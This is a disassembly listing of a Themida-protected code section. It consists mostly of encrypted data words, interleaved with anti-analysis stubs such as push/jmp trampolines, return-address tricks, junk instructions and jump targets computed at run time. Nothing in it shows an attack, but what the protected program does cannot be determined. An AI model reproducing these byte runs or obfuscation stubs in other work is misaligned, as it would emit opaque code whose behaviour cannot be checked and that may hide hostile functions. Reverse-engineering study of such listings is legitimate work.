		dd 156621B5h, 83A19132h, 0CCDFD953h, 9C4E2F62h,	0CD4B7BFAh
		dd 754E7A62h, 0FC9E373Dh, 15664439h, 95BC58F3h,	5AEBB09Dh
		dd 7489C859h, 1DE74BF1h, 1A662232h, 156613BDh, 7307E832h
		dd 9E0072CDh, 0D1E70636h, 15661130h, 1567053Dh,	299E4432h
		dd 4AE22DF1h, 1A661133h, 156682B0h, 1563AD32h, 0A04A2232h
		dd 4482343Eh, 0FEEE4DBAh, 944248B9h, 156626F6h,	14E21E32h
		dd 0E0668832h, 958DF062h, 0E33626F6h, 4D673566h, 0F9E65CC4h
		dd 4D8564CDh, 659DA2CEh, 1697953Dh, 0FC068832h,	15664438h
		dd 0B6979E57h, 92B37456h, 9C6902DFh, 15664432h,	1A8F1E53h
		dd 1566ECB6h, 12EA8732h, 75664432h, 68B0A354h, 0FE5A7021h
		dd 158E0C3Dh, 108F4432h, 0DD662232h, 9F4C3923h,	1AA4B4C7h
		dd 156691B6h, 9C694232h, 15661134h, 1566033Dh, 29074432h
		dd 0AAE22DF9h, 75661132h, 156361CAh, 0E2E24432h, 742FAA2Bh
		dd 30992C54h, 15CE0C3Dh, 94064432h, 0DF791EF0h,	68F7076h
		dd 0D2668832h, 0EFE943D7h, 4D101F65h, 1B9D74B8h, 17F5B954h
		dd 0DF5AA931h, 15E6A63Dh, 299F1132h, 59E287D1h,	0FC664431h
		dd 15662239h, 6DA977C6h, 0A342BE7Bh, 73FA8E6Ah,	1A990C0Fh
		dd 156622B7h, 0AC377032h, 15664430h, 14ECD333h,	96421DB9h
		dd 1A9F8CF6h, 156645BAh, 4600DE32h, 0CD46E181h,	317A0354h
		dd 156480B3h, 299A2232h, 3EE21E92h, 0E0668832h,	1566F967h
		dd 0FDEF2232h, 94423DB9h, 15668CF6h, 9569B832h,	1566223Eh
		dd 1560923Dh, 90698832h, 15664432h, 156658DBh, 0A0EFED32h
		dd 13778263h, 0FC54F352h, 1566223Bh, 63C00587h,	88D4E861h
		dd 7306257Ah, 9807F4B9h, 2C8D9AFh, 1A067034h, 0EA07B38Dh
		dd 9ED2DE1h, 75661132h,	2E15E8Ch, 1569AC72h, 0CACE2232h
		dd 997BA8C6h, 681040EDh, 1E7AE80Ah, 40077CA8h, 6B0ED98Fh
		dd 825F301Ch, 436395B3h, 14297107h, 20303CDAh, 0FC3BC761h
		dd 1566443Dh, 0B56A98D8h, 0C37CFFAEh, 0C7543D00h, 0D62DBE29h
		dd 9C36DACEh, 156214D2h, 0FDE58832h, 3162C336h,	3162AB6Eh
		dd 1571983Dh, 78F8832h,	14664432h, 0BD39E81Fh, 141D5DF8h
		dd 0BCC61751h, 20814E59h, 0AD367031h, 15661122h, 143E4ABBh
		dd 4F64CFC0h, 156629DBh, 0D5A4DA32h, 8D85BEDCh,	71BD227Ah
		dd 3E23A7BBh, 90691723h, 1566882Bh, 156650DBh, 0A6308832h
		dd 304DB017h, 9B25AE9Bh, 0C1C6903Eh, 68FEFC66h,	31629AC8h
		dd 94810165h, 156640F5h, 11A1A132h, 49422DB5h, 9D9DFCAh
		dd 14664432h, 315AA9CCh, 1562D5B3h, 989A8832h, 457758Fh
		dd 1575CB34h, 8D1A1132h, 70276289h, 3E3C1052h, 22FC92B6h
		dd 2EC2919Bh, 15606163h, 0BD374432h, 0DB23888Eh, 1568F89Fh
		dd 0C1178832h, 0A5C92DC5h, 5C0DE42Dh, 0C28B9365h, 3F793567h
		dd 0FD4F57D2h, 3122216Fh, 3F791416h, 1A9A9BD2h,	15664AB3h
		dd 96694232h, 15661132h, 1566083Dh, 0BE074432h,	48F42C7h
		dd 0E8661132h, 0C244323Ah, 18D57AF1h, 2F8C083Ah, 1F11F7ECh
		dd 744447B2h, 3E8BF9BFh, 0FC9E2423h, 1566113Bh,	0EEBCDFE3h
		dd 0D4734587h, 9A698F9Dh, 1566113Eh, 1560013Dh,	9A694432h
		dd 15662232h, 0A62B311Fh, 31228B4Ch, 35D81216h,	1418917Fh
		dd 0FD064FC2h, 15668821h, 8E29F92Eh, 817B3385h,	7F55EAEAh
		dd 0E95D6968h, 73BEF8E4h, 1A39D2B9h, 156617B0h,	15E88732h
		dd 74664432h, 1562CEB3h, 11EF1132h, 9406E816h, 534A78EBh
		dd 7451932Eh, 1565943Dh, 0C7E68832h, 9D692590h,	1566223Bh
		dd 0AC3C4652h, 0AF619EAh, 0FD06EF53h, 1566223Ch, 7BA47097h
		dd 0BC987BC0h, 4ECC569Bh, 0AB0076C9h, 733DB262h, 745FC48Ah
		dd 1D2BF9BFh, 108F2423h, 0C4661132h, 64407FF9h,	1560AD9Fh
		dd 26EA2232h, 0FBFF4297h, 2D58391Fh, 24DB412Bh,	51653EC4h
		dd 0A84B3916h, 107A7E03h, 0C5E7A83h, 156FCA52h,	918C1132h
		dd 0F012A423h, 0FD40EFE4h, 1566223Bh, 0FD7458h,	7251E091h
		dd 943D1F59h, 481D83F4h, 0FCCD705Fh, 15668839h,	0CB451D2Bh
		dd 704939DFh, 0EAE7393Ch, 9638AC06h, 0E00640F6h, 9069E153h
		dd 1566113Eh, 15600E3Dh, 9F694432h, 15662232h, 0AD00E452h
		dd 40074D34h, 0D0E7A1BBh, 15662236h, 1562FCB3h,	39E18832h
		dd 21EF1816h, 0EFED4216h, 1566913Dh, 98078832h,	2CB87AFh
		dd 1CE82D34h, 75661132h, 0FDCE952h, 74669220h, 0FC9EF1CDh
		dd 0EA99EDF6h, 4ECEDFCEh, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h
		dd 0A45DEEA4h, 2AA8ED96h, 29458A15h, 57DFA024h,	91792619h
		dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h,	2A492C5Eh
		dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh,	0FA798A15h
		dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0CCCE2559h
		dd 0F143924Ah, 4AE932DCh, 71BA8C0Dh, 0C3A8EDD8h, 0A2458A42h
		dd 0D558DDAEh, 38C88260h, 2C4CF7A7h, 1FDF0746h,	0D552B031h
		dd 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0BA25888Fh
		dd 0B0D9FB57h, 0A45DEAA8h, 6FDD7BAEh, 0A25863E9h, 5FABA851h
		dd 0AA307519h, 4A5A32DCh, 2F168C0Dh, 323415CBh,	2B967513h
		dd 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h
		dd 16EBh, 0
		dd 3 dup(0)
		dd 1010000h, 3C8h, 0BD8B0618h, 61105BDh, 2479B589h, 89500611h
		dd 0BB662404h, 6A417Fh,	14E9006Ah, 58000000h, 89944CFDh
		dd 54243CA3h, 0CA34342Eh, 3332BCD0h, 8D0CFB73h,	18665B85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 586BA75Fh, 0CEA3F7BBh, 52605000h, 8E0Fh
		dd 0E85E0000h, 5, 0B1022938h, 850F20h, 5B000000h, 24048961h
		dd 5B58D8Bh, 6A0611h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 16h, 60C35141h, 0DA8B22A5h, 0C981006Ah, 31261520h
		dd 75D95FFh, 8B660611h,	55DE9DFh, 8B660000h, 0CDB589DAh
		dd 0E8061114h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6186660h
		jmp	loc_5CC110
; ---------------------------------------------------------------------------
		dd 0FCE33AE1h, 85B3363Eh, 0AA2891C6h, 0B9E1E59h
; ---------------------------------------------------------------------------


loc_5CC110:				; CODE XREF: Themida_:005CC0FBj
		sub	ecx, 5
		rep movsb
		mov	ecx, ebx
		in	al, 0A4h	; Interrupt Controller #2, 8259A
		aam	33h
		mov	cl, 0D5h
		push	esi
		retf	63Ah
; ---------------------------------------------------------------------------
		db 36h,	61h, 4Dh
		dd 0B1DA372Ch, 0EB3256BAh, 6C98BCDCh, 49CE50B9h, 4CB83637h
		dd 7D1DB12Ah, 3C5320B9h, 0A6A00E50h, 0D052A373h, 833A1331h
		dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 9F17FB23h,	25FB62EDh
		dd 0FDF53FD5h, 6DADAFADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73E528B7h, 25A1FFA0h, 0F305E983h
		dd 8DDB8BA4h, 189927BDh, 738D8D06h, 0B8061923h,	32156644h
		dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 0F9F67549h, 0C8C0Fh
		dd 850F0000h, 6, 840Fh,	0EC830000h, 24048904h, 0E2242C81h
		dd 581D170Dh, 170DE205h, 13E91Dh, 7B8F0000h, 7E7FC7Ah
		dd 4B0675A1h, 43BB4F5Dh, 9879B14Dh, 0F1BD830Eh,	61125h
		dd 0BD830975h, 611243Dh, 50197400h, 0B8C08B53h,	411h, 0A498589h
		dd 9D8D0611h, 613B290h,	585BD3FFh, 243DBD83h, 74000611h
		dd 0B8535017h, 411h, 0A498589h,	9D8D0611h, 613AF31h, 585BD3FFh
		dd 8B50F5FCh, 0C4812404h, 4, 61C38A60h,	0C840Fh, 8A0F0000h
		dd 6, 8D0Fh, 0E9F80000h, 0EDh, 0D88C6660h, 840F04A8h, 0DFh
		dd 2E09B58Bh, 0FE830611h, 22850F00h, 0C6000000h, 1106D185h
		dd 69684506h, 0FF8E7269h, 110ED1B5h, 7F858D06h,	0FF061474h
		dd 0A58589D0h, 8B061132h, 0E93E80F0h, 31850Fh, 858D0000h
		dd 6169B6Bh, 0BD8BD0FFh, 6110F85h, 1184C781h, 0B58B0000h
		dd 6112E09h, 8B9F787h, 0F3000000h, 9B58BA4h, 8D06112Eh
		dd 15313485h, 8BD0FF06h, 110DD1B5h, 0FE8306h, 22850Fh
		dd 85C60000h, 61106D1h,	0BEF46854h, 0B5FFFF4Eh,	6110ED1h
		dd 747F858Dh, 0D0FF0614h, 0DD18589h, 0F08B0611h, 0FE93E80h
		dd 3A85h, 0D1B58B00h, 8D06110Dh, 169B6B85h, 8BD0FF06h
		dd 110F85BDh, 84C78106h, 83000011h, 0B58B08C7h,	6110DD1h
		dd 8B9F787h, 0F3000000h, 0D1B58BA4h, 8D06110Dh,	15313485h
		dd 61D0FF06h, 96858DC3h, 89061926h, 110E9D85h, 16E906h
		dd 6C400000h, 6869h, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CC7C8
; ---------------------------------------------------------------------------
		push	6192887h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61928FAh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6192A28h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0A7015758h, 0BFE9AFA0h, 59CB818Eh, 77B1E7E8h, 0D96FCF3h
		dd 60939E8h, 1916D650h,	7976F133h, 58579113h, 0C748A0F2h
		dd 0C97D6617h, 4335772Ch, 2F758887h, 3D5C323Dh,	44CB87D3h
		dd 0D5A7AABBh, 0AEA97480h, 0C9856E7Ch, 0D2CC57C9h, 9DCF1EAh
		dd 279A4h, 49907400h, 101FC95Bh, 72DF538Dh, 8196C296h
		dd 0D5A7931Eh, 9584F503h, 0C6EAECDAh, 0ABE7B31Dh, 333B43A4h
		dd 69EE58DAh, 0D2311EB9h, 0D484324Eh, 0F28689BEh, 0A4D9C73Bh
		dd 468387AEh, 3B85B0F8h, 957CAAADh, 7D8BD230h, 0F0FC93CFh
		dd 77D841CFh, 0C97B89F9h, 0D41690C6h, 8674CEDBh, 4F9C723Dh
		dd 2A59Bh, 111EC400h, 757AE93Bh, 5758851Fh, 0ADA2A701h
		dd 8A85BDE7h, 0BBA63C4h, 287AD0DFh, 0CB5D333Ch,	0E7411718h
		dd 92246A65h, 6449F99Eh, 45DEC97Dh, 386CB447h, 0B4ABC748h
		dd 4B0D5AFh, 50A3E54h, 0C8761955h, 5FC97D65h, 0FD274921h
		dd 0B3BCAE45h, 0A578F66Ah, 0D53E2B79h, 59876669h, 0A6ED22Bh
		dd 7D65F025h, 4D42FCC9h, 0AF93E8BCh, 1BCF1C70h,	232h, 0CE848BB9h
		dd 0AAE0EF54h, 8CC2CD78h, 6A202F1Ah, 51070838h,	44FC2DD6h
		dd 0A3A3054Bh, 83BCE6ACh, 0E25CC68Ch, 1D6DA7EDh, 7D64CC7Ah
		dd 0DACA5BC9h, 48386CB4h, 0AFB4ABC7h, 0F904B0D5h, 7D65AC5Eh
		dd 9CA7F9C9h, 0D4CCBA82h, 154F409h, 43840000h, 37F8E81h
		dd 0A27B74F1h, 8D2BDB7Ch, 8C38CF96h, 1EC81A1Eh,	62F52111h
		dd 0CF968CB4h, 0E0D02C6h, 3958BEF2h, 0B8DF8BDFh, 0D5A7B277h
		dd 0ACDD06Ch, 0C98567D8h, 0DD202F1Ah, 0B24B4487h, 17F6F96Ah
		dd 0E57E3229h, 51E92C7h, 0DCCE231Bh, 356F09h, 0B43D0000h
		dd 0A555FA6Ch, 0A2CF968Ch, 0CB7976F2h, 98788B9h, 111ECB59h
		dd 0A0DC548Ch, 0A7B0B8AFh, 0FE0FBDD5h, 8568A75Bh, 0A1A2F6C9h
		dd 0DCCB87BFh, 0A1CB09h, 43910000h, 257F8E81h, 8D12D63Dh
		dd 9946B265h, 6694026Eh, 8C83BD87h, 36392B71h, 333C287Ah
		dd 0DC0276EAh, 964161B7h, 3E3133CFh, 8BDF3958h,	0E81CB8DFh
		dd 0FD0BD5A9h, 0FCF3778Dh, 69D82A96h, 42C98766h, 0C14B29E4h
		dd 0F42E42F0h, 0C8B6434Ch, 588F5A28h, 1045783h,	0FD6B0000h
		dd 0DD0A9CF2h, 3B2A7CD2h, 1DC45E34h, 7EEA3C12h,	63881B71h
		dd 0D3B9B6B2h, 0B49A9551h, 98FEF172h, 7DD3DC0Eh, 0A250C73Bh
		dd 0A1C97D62h, 8743B0F4h, 933ED888h, 3D1DE890h,	72B4DA5Eh
		dd 0EB4A6FF0h, 671A64D1h, 4329A3E9h, 257F8E81h,	335E343Bh
		dd 0BED181D5h, 0D5A7DACAh, 0D1231FADh, 13381E11h, 0C9853EDFh
		dd 72D8D711h, 0EE3F3030h, 9178h, 0F650200h, 0D10116DBh
		dd 56CF968Ch, 0EF51ACDAh, 1642AE8Bh, 0B495355Ah, 6692D5AFh
		dd 8C83BD87h, 0EDE25CC6h, 0A6343910h, 572D37EDh, 0D7D80ACCh
		dd 2A252781h, 0DD0D027Eh, 39672D25h, 2D25E816h,	0C2C17F67h
		dd 0F72BC2B6h, 256694BBh, 5B88672Dh, 7139B754h,	0E4393633h
		dd 0D81E297Fh, 0DF2B616Eh, 0BD0B8C31h, 2CD06C9Ah, 4F4DFB67h
		dd 1EE897Dh, 0FCBE3AB3h, 79ABCF7Dh, 93DC0CFh, 12h, 0CA07C75Dh
		dd 2D5F9545h, 0E8669267h, 35472B15h, 85430686h,	3F29738Ah
		dd 5497ED30h, 0CA7A425Bh, 64DC38C5h, 9E4A926Bh,	31300C91h
		dd 0A895EF3Eh, 0C97E46A7h, 683727C6h, 1348h, 89243C89h
		dd 4C781E7h, 83000000h,	3C8704EFh, 89525C24h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 240C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 36224AACh
		push	ebp
		mov	ebp, 48F342DEh
		sub	ebp, 69842A37h
		shr	ebp, 7
		add	ebp, 3A7C9448h
		mov	ecx, ebp
		pop	ebp
		sub	ecx, ebx
		pop	ebx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, esi
		push	esi
		mov	esi, ecx
		mov	[ebx], esi
		pop	esi
		pop	ebx
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 88h
		dd 272A4F46h, 10192F5Fh, 11C3201Bh
; ---------------------------------------------------------------------------


loc_5CC7C8:				; CODE XREF: Themida_:005CC370j
		mov	eax, 6192B51h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0B8h, 6Fh, 0C6h
		dd 1774154Fh, 0AE7A2270h, 0FBC7981Bh, 0BEB0B175h, 7A72DE4Eh
		dd 0E405327h, 4E5A0849h, 0EB71206Bh, 44AF3608h,	0B6667D4Eh
		dd 71E8786Bh, 0B1A6073Ch, 0B3866859h, 0D0DAAB00h, 0A6DA8054h
		dd 19AF167Ah, 4B992244h, 30C49B2Ah, 0A5725876h,	0E238797Bh
		dd 46E5E101h, 7BA4980Eh, 8727260Ch, 95E70C65h, 0DE85Eh
		dd 98A00000h, 0D16D4F9Fh, 0D49B9EAEh, 0FC6DE361h, 0D6B9665Bh
		dd 0C4C38165h, 0F9000060h, 0BAh, 0FF96000h, 285h, 61D18A00h
		dd 66133C8Bh, 0EF81F78Bh, 757B4092h, 57A3F081h,	0EF8179F3h
		dd 7F42A40Bh, 80C781FCh, 663042FAh, 57FC95BEh, 0BCB9B866h
		dd 5713048Fh, 860Fh, 60580000h,	0B112E480h, 0EA816128h
		dd 56EB938Eh, 28A0F60h,	8B000000h, 61E68AC2h, 938AC281h
		dd 0C38B56EBh, 9FFCFA81h, 850FFFFFh, 20h, 2810Fh, 0F28B0000h
		dd 2DE9h, 0EBFE2500h, 72F3C6F7h, 7366A97h, 77C683C6h, 914166Ah
		dd 5411B866h, 0FFFF77E9h, 6DB717FFh, 87983809h,	0DD14DA36h
		dd 30C8C9E3h, 8D8DBFECh, 6192E1Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 31C35545h, 0C7D9D3DEh, 89ABB7C6h
		dd 1122F985h, 5D8D8906h, 0F061128h, 85C7FBBFh, 6112DD1h
		dd 723Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	3C35545h, 43484B73h, 24122B48h,	14B18589h, 85C70611h
		dd 6112709h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CC97F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC97F	proc near		; CODE XREF: Themida_:005CC977p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CC97F	endp

; ---------------------------------------------------------------------------
		push	ebp
		db	64h
		daa
		imul	edi, [edi-5332EE5h], 0FFC28BF6h
		mov	ch, 99h
		xor	[ecx], edx
		push	es
		push	0
		push	edi
		call	sub_5CC9AC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC9AC	proc near		; CODE XREF: Themida_:005CC9A4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5CC9AC	endp

; ---------------------------------------------------------------------------
		add	ebp, 37B0F705h
		call	dword ptr [ebp+6111DA9h]
		mov	[ebp+61107D9h],	edx
		jo	loc_5CC9D9
		mov	esi, 638BDBA4h


loc_5CC9D9:				; CODE XREF: Themida_:005CC9CEj
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5CC9ED
; ---------------------------------------------------------------------------
		test	al, 37h
		daa
		retn	0A984h
; ---------------------------------------------------------------------------
		db 0A7h
		db 0C5h
; ---------------------------------------------------------------------------


loc_5CC9ED:				; CODE XREF: Themida_:005CC9E3j
		jmp	loc_5CCA34
; ---------------------------------------------------------------------------
		dw 0FD4Bh
		dd 74521751h, 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h
		dd 0Ah dup(0)
; ---------------------------------------------------------------------------


loc_5CCA34:				; CODE XREF: Themida_:loc_5CC9EDj
		jmp	loc_5CDA35
; ---------------------------------------------------------------------------
		push	6193097h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6193181h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	619342Ch
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6193515h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	619382Eh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61938B5h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61938F4h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61939C7h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6193A60h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6193ABCh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6193C17h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6193CFBh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 0A8h, 0BAh, 0B5h
		dd 919E45DFh, 0F3FC69BBh, 0D1DE0B9Dh, 3639297Bh, 0EF1EC760h
		dd 841E747Bh, 0A7015758h, 43E5ABA4h, 4EC88E81h,	5EED1D32h
		dd 297AC97Dh, 8E8143FBh, 343B257Fh, 5F5093E9h, 748F914Eh
		dd 0D9BFB0B2h, 49049B4Fh, 0F8B9A24Dh, 3EBFFDE2h, 71EF522Ch
		dd 345B97C3h, 0CF960906h, 658BEF1Dh, 0FF0E01C3h, 0DEB4BBA5h
		dd 510155B3h, 0A72EFD3Eh, 0E163B1D5h, 7564B67Eh, 8A385443h
		dd 0AA5CD73h, 0B2202F1Ah, 0BCB3ACC6h, 0F02225F4h, 3DC98518h
		dd 6AB858EBh, 332DF0FFh, 9FC9FD7Fh, 638909DCh, 57000000h
		dd 55FA6CB4h, 0CF968CA5h, 0A89816A2h, 0A7B0B0A7h, 7497B5D5h
		dd 0C4C567CBh, 0FE1848C6h, 0C5425999h, 6A65E215h, 7B3FAD93h
		dd 44527CA2h, 0ACA3A321h, 0ECE1EF51h, 0B49B9FBFh, 0C984AC82h
		dd 221D77D3h, 0FC26AFBDh, 6B4F607h, 8B342018h, 2C44EC17h
		dd 4F7769FAh, 309DCB2h,	0E6h, 99964DA7h, 0F657B91h, 8C8D5DAh
		dd 0EB00C260h, 0B6AA737Ch, 0AB9FE538h, 0C10359A4h, 0B836392Ah
		dd 222D1F65h, 91F2C76Ch, 4082CF96h, 9B26B9ABh, 0BE18D024h
		dd 58986593h, 0FAE4642Ah, 64C14F2Ah, 91D3A72Eh,	0EEE85857h
		dd 1C0DE8DEh, 421B1FA5h, 3B77238Dh, 0A7A52F14h,	0D2B834D5h
		dd 0E5153A76h, 62C98574h, 8887BCD6h, 8AA7CB75h,	3FFEA2Eh
		dd 0B88102Ch, 571AD9Dh,	84D4E412h, 5DD563C9h, 988671FAh
		dd 0E7AF6CFh, 17434CF4h, 8286B4DBh, 6F9DCF94h, 82EE1C33h
		dd 0C775CF94h, 6FDB4DB3h, 46059160h, 28F5894Bh,	0D4522h
		dd 616ED400h, 454AF92Bh, 0A7A8950Fh, 0BDB2B7F1h, 9A954DD7h
		dd 1BCA73B4h, 386A202Fh, 0DB4D030Ch, 0F7316768h, 82147A75h
		dd 5C39E96Eh, 55CEC97Dh, 88874357h, 0E9E660C2h,	6CB429A3h
		dd 861C4838h, 8FB14C43h, 0B0CF44EBh, 1894D5A7h,	68904285h
		dd 61E2C985h, 9E459F6Eh, 0B9EF0C91h, 53C58CAEh,	0CBF6CED0h
		dd 47B309DCh, 0DFB14C59h, 0AF242BA7h, 0C985807Fh, 0CF006884h
		dd 0C6h, 2302793h, 1C98581h, 434DBFF3h,	257F8E81h, 6CEB323Dh
		dd 0CF969199h, 529279EBh, 3F692F5Dh, 56FB020Dh,	40B3A8Ah
		dd 99C947F9h, 0E4D7A32Dh, 38514384h, 0B868CF70h, 0E43ED5A6h
		dd 923D757Ah, 42D03066h, 0B5E08887h, 0CC433F6Bh, 0CF984D32h
		dd 63DF8B39h, 0ECE84F65h, 2761D45h, 296F60E0h, 0B5444BFFh
		dd 894B4213h, 5BD006E7h, 0C200000Ch, 0E3450B04h, 83256B64h
		dd 9D074D42h, 43E5ABA4h, 61C28887h, 0DAD50DBCh,	3D323274h
		dd 1D12CD57h, 7C73ED37h, 0EB6C9C16h, 0C97D5B3Bh, 43295BC8h
		dd 6FE81887h, 0FC50FE91h, 59D7CF95h, 0D49F27BBh, 0B4B6F0A6h
		dd 0FC93CFBBh, 0CF960C4Eh, 8E8143D5h, 0DF53C17Fh, 814347B9h
		dd 0D7037F8Eh, 968C9240h, 727DE4CFh, 1A96B5ABh,	1D12CC16h
		dd 8CDE1037h, 0D610CF96h, 373173D9h, 0AD9FE538h, 0C6015BA2h
		dd 7DE834C9h, 0DA8EAB72h, 7729FB49h, 837F48C2h,	0AFB89015h
		dd 80F0FF69h, 1C8AA06h,	46816026h, 3157DB49h, 0CDFF172Fh
		dd 0F55B0Fh, 0B4E10000h, 1C48386Ch, 21494686h, 0A791997Eh
		dd 0F2C3CDD5h, 4DC179ECh, 0D8252A1Eh, 2986EA18h, 13C7029Bh
		dd 5DC984CEh, 0CB11ECE3h, 248D101Fh, 84163E4h, 156F8F98h
		dd 0CD4F232Ch, 9DC54F9h, 0B2B9h, 0F654700h, 0A36D7D8h
		dd 8D0EC166h, 3791CF96h, 8C80AEA1h, 6987CF96h, 0C1538FFBh
		dd 0AAF20B04h, 0F769B4BBh, 5D0E3179h, 0E2D5A7B0h, 49FC1A56h
		dd 0A5A29228h, 6A9CF119h, 3937926Ch, 29F4FB6Fh,	8B1D4337h
		dd 838CB45Fh, 18CF2515h, 264AF617h, 368D0B77h, 0FE73F534h
		dd 0E1EE5E28h, 0E14C241Ch, 70E75307h, 0CF9674D7h, 141BC45Ch
		dd 0E83FC789h, 4DC3CE2Ch, 9FEBA1DFh, 7F10DD05h,	0CF95A8CFh
		dd 0C6AAD854h, 9C48A39Ch, 58D60A93h, 1ACB5945h,	0E8301D15h
		dd 0A8C2CF2Ch, 0D196B4BBh, 6CDC4A87h, 50D8D716h, 0DCE42334h
		dd 7381D5A6h, 7FF651Dh,	0B4370000h, 0C748386Ch,	0D5A79314h
		dd 73AF9B29h, 86E21007h, 0D361C985h, 85868EBCh,	136795C9h
		dd 864BFF5Ah, 69AC985h,	0EDDBE3FDh, 0D9709DCh, 25000000h
		dd 968C8CBEh, 0BA9E02CFh, 0ACFFFFFBh, 64DC6CB4h, 48555A8Fh
		dd 0B9831A88h, 9917858Ah, 965DA6A9h, 0D662D5A7h, 6DD42E9Ah
		dd 2EA59B62h, 0C9858400h, 0D0FFF072h, 3A1DCCA4h, 0C9858408h
		dd 0A040C355h, 959D9252h, 0DCE2AF97h, 6EEEE809h, 0B54BFDD5h
		dd 0B1176800h, 0A5000004h, 4B955690h, 0E9F7231Fh, 0B74107AAh
		dd 0DB7C3456h, 0D5A6DBF8h, 6FE25FEDh, 7349FF9Ah, 0C103B31Dh
		dd 0B4E050CEh, 0C1FE73A3h, 5DA2F11Fh, 0A82A3359h, 0E9151DABh
		dd 0D3518566h, 0FA9DC925h, 25D1484Ch, 0EAC5ADDBh, 26824F5Eh
		dd 486F9FB0h, 0E8F425D1h, 0D7BCE7AFh, 189604EEh, 0A1722728h
		dd 69772BE5h, 49871564h, 1916D697h, 0F70D7DEBh,	92147A75h
		dd 28425F50h, 302698C4h, 9B07FEBh, 0F96F0000h, 0C106A0F6h
		dd 2F1E88CEh, 9386A20h,	12D65006h, 47EC371Dh, 0F75D5296h
		dd 0D8BEB1ADh, 0BC929D4Eh, 0A1F7F86Ah, 0C6741B17h, 5DC97D58h
		dd 8143C4C8h, 427D591Eh, 0B72519E6h, 4B1FF956h,	85EB781Fh
		dd 0D92BD5A7h, 59876669h, 18101FCFh, 9E4CC3BFh,	0A5C9857Dh
		dd 5BA99917h, 59ABE7E8h, 241CE1EEh, 4FF82A4Ch, 3341BD40h
		dd 0D47B3F30h, 0C9857E26h, 858D81B5h, 0CBC04C9h, 1DC3DAD5h
		dd 239CB3EFh, 48CF968Bh, 0B466E13Ch, 1CF968Ah, 0B28A94AFh
		dd 0F70FCDEDh, 0C4ACA39Dh, 1DB3h, 0F655900h, 0F35ED2DDh
		dd 0B4BBA515h, 979F769h, 0A798ED06h, 27C672D5h,	0E33h
		dd 6CB45900h, 0ACC74838h, 0B1D5A7A1h, 438AFA03h, 0F0FF6A81h
		dd 6A7FA32Dh, 0A4B0773Ch, 0E8E75C36h, 6CBD2B15h, 89492E70h
		dd 0C773E744h, 56000008h, 6FB99F90h, 7A1F7F8h, 2183C9C6h
		dd 3F692F20h, 0D54E040Bh, 4E418130h, 0A1AE9E08h, 818EB9EBh
		dd 0E0EF59CBh, 7F1068AAh, 0C97D57CFh, 0B4CD3F54h, 0C748386Ch
		dd 0D5A78E28h, 242B146Eh, 3731634Ch, 0CD7BE538h, 9CE5739Dh
		dd 0F2BE0936h, 0AB95EFBEh, 2E41F166h, 0AAC6C985h, 7E31563Ch
		dd 1F0D069h, 0DCD310A0h, 0B1E11FC1h, 0B16D3A17h, 0B6FA5211h
		dd 93C72150h, 5E17B0A7h, 0E01CB44Dh, 0EFE062B0h, 5D8AD28Bh
		dd 735DFC52h, 28196B27h, 0B7D8C627h, 0A84B3587h, 0BEF2609Ch
		dd 53D2CD42h, 1997AE5Ch, 42914584h, 66DCAE3Ch, 781FD20Ch
